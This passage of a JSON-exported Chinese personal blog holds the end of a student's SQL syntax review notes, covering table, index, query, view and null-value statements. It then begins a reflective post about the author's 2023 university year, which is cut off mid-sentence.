class=\"keyword\"\u003eCHECK\u003c/span\u003e(Col1 \u003cspan class=\"operator\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e Col1 \u003cspan class=\"operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e schema.tablename\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e 同上\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e SCHEMA \u0026quot;name\u0026quot; \u003cspan class=\"keyword\"\u003eAUTHORIZATION\u003c/span\u003e \u0026quot;user\u0026quot; \u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;table1\u0026quot;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e 同上\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eALTER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;name\u0026quot; [\u003cspan class=\"keyword\"\u003eADD\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCOLUMN\u003c/span\u003e name \u003cspan class=\"type\"\u003eVARCHAR\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eADD\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUNIQUE\u003c/span\u003e(Cname) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eADD\u003c/span\u003e \u003cspan class=\"keyword\"\u003eFOREIGN\u003c/span\u003e KEY(Cno) \u003cspan class=\"keyword\"\u003eREFERENCES\u003c/span\u003e Student(Cno) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e Col1 CASCADE\u003cspan class=\"operator\"\u003e|\u003c/span\u003eRESTRICT\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCONSTRAINT\u003c/span\u003e “completeness” CASCADE\u003cspan class=\"operator\"\u003e|\u003c/span\u003eRESTRICT\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eALTER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCOLUMN\u003c/span\u003e Col1 \u003cspan class=\"type\"\u003eVARCHAR\u003c/span\u003e(\u003cspan class=\"number\"\u003e114514\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;name\u0026quot; CASCADE\u003cspan class=\"operator\"\u003e|\u003c/span\u003eRESTRICT;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"INDEX\"\u003e\u003ca href=\"#INDEX\" class=\"headerlink\" title=\"INDEX\"\u003e\u003c/a\u003eINDEX\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUNIQUE\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003eCLUSTER INDEX \u0026quot;index_name\u0026quot; \u003cspan class=\"keyword\"\u003eON\u003c/span\u003e tableName(Col1 \u003cspan class=\"keyword\"\u003eDESC\u003c/span\u003e, Col2 \u003cspan class=\"keyword\"\u003eASC\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eALTER\u003c/span\u003e INDX \u0026quot;old_index\u0026quot; RENAME \u003cspan class=\"keyword\"\u003eTO\u003c/span\u003e \u0026quot;new_index\u0026quot;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e INDEX \u0026quot;index_name\u0026quot;;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"SELECT\"\u003e\u003ca href=\"#SELECT\" class=\"headerlink\" title=\"SELECT\"\u003e\u003c/a\u003eSELECT\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e [\u003cspan class=\"keyword\"\u003eDISTINCT\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eALL\u003c/span\u003e] \u003cspan class=\"number\"\u003e2022\u003c/span\u003e\u003cspan class=\"operator\"\u003e-\u003c/span\u003etable1.age,table2.Sname\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e [\u0026quot;table1\u0026quot; \u003cspan class=\"operator\"\u003e|\u003c/span\u003e \u0026quot;view1\u0026quot;]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e age\u003cspan class=\"operator\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"number\"\u003e5\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eOR\u003c/span\u003e age\u003cspan class=\"operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"number\"\u003e7\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e Sdept\u003cspan class=\"operator\"\u003e=\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CS\u0026#x27;\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e age [\u003cspan class=\"keyword\"\u003eNOT\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eBETWEEN\u003c/span\u003e \u003cspan class=\"number\"\u003e20\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e \u003cspan class=\"number\"\u003e30\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e Sdept \u003cspan class=\"keyword\"\u003eIN\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;CS\u0026#x27;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;MA\u0026#x27;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e name \u003cspan class=\"keyword\"\u003eLIKE\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;张____\u0026#x27;\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e GRADE \u003cspan class=\"keyword\"\u003eIS\u003c/span\u003e \u003cspan class=\"keyword\"\u003eNULL\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eGROUP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e Col2 \u003cspan class=\"keyword\"\u003eHAVING\u003c/span\u003e \u003cspan class=\"built_in\"\u003eAVG\u003c/span\u003e(Grade)\u003cspan class=\"operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"number\"\u003e90\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eORDER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e Col1 \u003cspan class=\"keyword\"\u003eDESC\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e连接查询时,列举全部属性列,去掉相同的列就是自然连接。\u003c/p\u003e\u003cp\u003e单表连接查询:\u003c/p\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e Course.FIRST, Course.SECOND\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e FIRST.Cno, SECOND.Cpno\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e FIRST.Cpno\u003cspan class=\"operator\"\u003e=\u003c/span\u003eSECOND.Cno;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e外连接查询\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e table1 \u003cspan class=\"keyword\"\u003eLEFT\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eRIGHT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eOUTER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eJOIN\u003c/span\u003e table2 \u003cspan class=\"keyword\"\u003eON\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eUSING\u003c/span\u003e(table1.sno\u003cspan class=\"operator\"\u003e=\u003c/span\u003etable2.sno) \u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUSING\u003c/span\u003e去重\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003e%_\u003c/code\u003e任意字符、一个字符,汉字\u003cstrong\u003e长两个字符\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e子查询使用\u003ccode\u003eIN\u003c/code\u003e关键字,阅读\u0026#x2F;构造时从内部构造。下面的例子相当于是将子查询的结果作为父查询的语句的参数了。\u003c/p\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e Sno, Sname, Sdept\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e Student\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e Sdept \u003cspan class=\"keyword\"\u003eIN\u003c/span\u003e (\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e Sdept\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e Student\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e Sname\u003cspan class=\"operator\"\u003e=\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#x27;lex\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e) \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e xxx;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e还有\u003ccode\u003eEXISTS\u003c/code\u003e子查询,跟上边\u003ccode\u003eIN\u003c/code\u003e差不多,不过意思是将”至少存在一个查询结果“作为查询选择器的条件。\u003c/p\u003e\u003cp\u003e多个查询可以用\u003ccode\u003eUNION,, INTERSECT, EXCEPT\u003c/code\u003e分别进行并,交,差三个集合运算,目标的数据结构必须相同。\u003c/p\u003e\u003ch3 id=\"INSERT-UPDATE-DELETE\"\u003e\u003ca href=\"#INSERT-UPDATE-DELETE\" class=\"headerlink\" title=\"INSERT,UPDATE,DELETE\"\u003e\u003c/a\u003eINSERT,UPDATE,DELETE\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eINSERT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eINTO\u003c/span\u003e \u003cspan class=\"keyword\"\u003etable\u003c/span\u003e(Col1, Col2) [\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eVALUES\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;4\u0026#x27;\u003c/span\u003e) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e xxx \u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e xxx \u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e xxx \u003cspan class=\"keyword\"\u003eGROUP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e xxx\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eUPDATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003etable\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSET\u003c/span\u003e Col1\u003cspan class=\"operator\"\u003e=\u003c/span\u003exxx\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e cond;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDELETE\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e \u003cspan class=\"keyword\"\u003etable\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e cond;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"VIEW\"\u003e\u003ca href=\"#VIEW\" class=\"headerlink\" title=\"VIEW\"\u003e\u003c/a\u003eVIEW\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eVIEW\u003c/span\u003e vname(Col1,Coln)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eAS\u003c/span\u003e 子查询\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e[\u003cspan class=\"keyword\"\u003eWITH\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCHECK\u003c/span\u003e OPTION]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eGROUP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e xxx;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eVIEW\u003c/span\u003e vname CASCADE\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"空值\"\u003e\u003ca href=\"#空值\" class=\"headerlink\" title=\"空值\"\u003e\u003c/a\u003e空值\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exxx \u003cspan class=\"keyword\"\u003eIS\u003c/span\u003e [\u003cspan class=\"keyword\"\u003eNOT\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eNULL\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e","url":"https://mxts.jiujiuer.xyz/2024/01/15/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/db-review/"},{"title":"2023这一年","time":"2023-12-31T12:30:31Z","content":"\u003cp\u003e时间过得真快啊。一转眼已经过去5\u0026#x2F;8个大学了。\u003c/p\u003e\u003chr /\u003e\u003cp\u003e时间过得真快啊。一转眼已经过去5\u0026#x2F;8个大学了。\u003c/p\u003e\u003cspan id=\"more\"\u003e\u003c/span\u003e\u003cp\u003e记得去年这个时候,我还是和同学在语音里闲聊着,一起等着跨年。然后,2023,就在我们几个的闲聊中拉开了序幕。比较幸运的是,放开之后,没啥大的折腾,nCov-19终于慢慢销声匿迹了。还好,终于能有个比较正常的大学生活了。\u003c/p\u003e\u003cp\u003e冷清的窗外,忽的传来几声烟花爆裂的声音,提醒着我,这一年确实是过去了。家里只有父母和奶奶,静悄悄的。大人们都早早睡下了,毕竟还要工作。深冬的寒夜里我依旧在思考,但又不知道在想什么。或许只是借助思考打发孤独罢了。\u003c/p\u003e\u003cp\u003e哦对了,去年那会差点喜提新机:跟某同学去完市图书馆之后,回家放东西的时候手没拿稳直接drop it了。还好机器主体没啥问题,就是屏幕漏液痛失360元。不过当时脑子一抽打开2077看了下效果,嗯,更沉浸了。\u003c/p\u003e\u003ch2 id=\"一,二月\"\u003e\u003ca href=\"#一,二月\" class=\"headerlink\" title=\"一,二月\"\u003e\u003c/a\u003e一,二月\u003c/h2\u003e\u003cp\u003e过年前还跟哥们出去浪了一会,顺便被一个南科大的哥们请恰了一顿饭。毕竟帮人家搞定了课程大作业确实挺不容易的,就是不知道这孩子有啥想不开的,一个学金融的非要选Java……反正逛的是挺爽的:顶着刚疫情还没恢复的身子去爬山差点没给我爬入土了。后面几天有一天在发小家里聊到好晚,还带了一袋子自己炸的薯条分而啖之。他很喜欢米家的游戏,\u003cdel\u003e倒是跟我刚好相反\u003c/del\u003e反正跟原切割了。不过这不重要,反正见面的话题永远聊不完:两个天差地别的专业,聊啥都是新鲜的;更重要的是,还好现在远没到拉家常的年纪,我们暂且都还是比较有趣的人。\u003c/p\u003e\u003cp\u003e转眼就是过年。现在春节用春晚作为背景音的都很少了,拜完年串完门,烧纸的烧纸,上坟的上坟。村子里的人是一年比一年少,有些房子变新了,也变冷清了;有些房子门前已经满是杂草,无人打理许久了。偶尔请些亲戚来家里做客才能稍微驱逐些寂寥,有点小孩就更热闹了——可惜,现在他们对于手机更感兴趣。\u003c/p\u003e\u003cp\u003e跟哥们一块看了《流浪地球2》,感觉比1提升不小。导演功力到位,华仔演技在线,剧情不错,就是叙事节奏有改进空间。在这之后,ChatGPT就第一次问世了。\u003c/p\u003e\u003ch2 id=\"三,四月\"\u003e\u003ca href=\"#三,四月\" class=\"headerlink\" title=\"三,四月\"\u003e\u003c/a\u003e三,四月\u003c/h2\u003e\u003cp\u003e机械性的春节后,该上学的上学,该上班的上班,一切照旧。去年没有考的试就放到了开春来考,队友想专心复习,顶不住压力,就放弃了美赛。临阵垮台,于是参加美赛的机会从三次变成了两次。如果想要给考研加点分的话,那就只能指望大三寒假咯。队友不太好意思,遂请我们吃了个\u003cdel\u003e散伙\u003c/del\u003e饭。想说些啥,但是也没啥好说的。那会的大学时间还有不少,机会也是。\u003c/p\u003e\u003cp\u003e到这里,节奏基本还行,但是对于大二下的恶毒我还是始料不及。三月,四月,又是期中考试,实验陆续开始。西电的传统是实验报告大多手写,于是免不了应付这些繁文缛节。加上课内作业,而且最重要的是,我还是选了最累的活法:打了一堆毛毛雨一般的竞赛。最忙的时候,手头同时有6,7个任务得搞定。\u003c/p\u003e\u003cp\u003e我发现我好像那个什么抖m,净喜欢给自己找罪受。\u003c/p\u003e\u003cp\u003e不过这些倒还好,属于是有惊无险地都干完了。真正难绷的事情才刚刚开始。虽然没有rx那么强的开发效率,但是我还是接下了同学拉我去做的烂摊子。那本来是个挺简单的vue+springBoot标准前后端项目,最后做的我怀疑人生,差点放弃前端。那项目我打5月接手的时候看了下需求,感觉多是多,但是能做——然后我就被另一个哥们封装的,小山包一样的屎山代码糊脸了。这个后面说。另外那段时间也把鸽了整一年的OJ拉出来重新写了,刚好能用上新学的东西,这会应该算是真正开始熟悉了Vue和Golang这俩现代开发语言的用法。\u003c/p\u003e\u003cp\u003e不得不提的还有大模型,人类史上用户量最快达到一亿的玩意,没有学术上的美感,有的只是空前庞大的恐怖算力,工业界的暴力美学所创造出的前所未有的奇迹——能力只有文字接龙,但是能力强到让许多人开始担心自己的饭碗,甚至有人认为它的智能快达到临界点了。\u003c/p\u003e\u003cp\u003e以及就是业余无线电能力测试。一晚上速通,拿上A证了。上了两年大学,好在应试能力留了一些。\u003c/p\u003e\u003ch2 id=\"五月\"\u003e\u003ca href=\"#五月\" class=\"headerlink\" title=\"五月\"\u003e\u003c/a\u003e五月\u003c/h2\u003e\u003cp\u003e5月是实验的谎言。一个月天天是实验,周周有实验报告要写。好在有几个能直接提交电子打印版的,借助历史的积淀秒了。不过实验本身也够占时间的,导致我错过了半个晒你祭(恼)。5.13早上当了会门口引导的志愿者之后,把俩\u003cdel\u003e二刺螈\u003c/del\u003e同学从隔壁瓜大领进去光了会,拍了几个coser,就被电子线路实验带走了。俩小时速通之后,展子还在,但是不剩啥节目了。事后同学表示,这Live神中神,特别是那个鼓手定得一批。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我:我tm在做实验没听到啊啊啊啊\u003cbr\u003e:你这辈子就是让实验给害了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e不过还好,4月还是3月喜提新哥们,还是意外盒到的酷安群u(甚至刚好还是个潜在越共),5月初有长安THO,就给他拽过去逛车万展子了。好像之后还陪着他娶了个新旧电脑(无误),他的古董电子产品收集喜加一。也是他的影响让我开始怀疑我对算力需求的必要性了。也是月初,发小还去上海逛cp29(还是多少)了,买周边就花了小1k。只能感叹某些二次元的行动力真的强,一个人从西安跑上海还跟特种兵似的,基本所有重要地方都打卡过了。\u003c/p\u003e\u003cp\u003e这个月还跟浪潮的朋友们出去团建了。19级的学长到这个点也基本都未来既定了,值得庆祝的是学长们去向还都相当可以。西电保研清华的老学长还来回来逛了一圈,可惜比较社恐也就没聊几句。感叹一句,浪潮这些学长水平真的都好强啊。\u003c/p\u003e\u003cp\u003e还有一回是得知西安的亲戚住院了,很震惊,顶着大雨跑雁塔去看望了。越发感叹身体的重要性,尤其叔叔他上的班还是长期熬夜那种,很伤身体。于是之后也下定决心少熬夜\u003cdel\u003e但是只有一点点\u003c/del\u003e。巧的是这地方刚好离你电老校区不远,就顺便跑过去逛了一圈。刚开始在家属区里溜达了半天,最后才找着进去学校的路。刚好去听了个EDA公司的校企合作实验室揭榜,顺便第一回线下见到了你电的校长\u003cdel\u003e之一\u003c/del\u003e。可惜的是去晚了,没白嫖到讲座送的礼盒。\u003c/p\u003e\u003cp\u003e后面雨突然特别大,打着伞都给你打一身溅射伤害那种,于是刚好趁这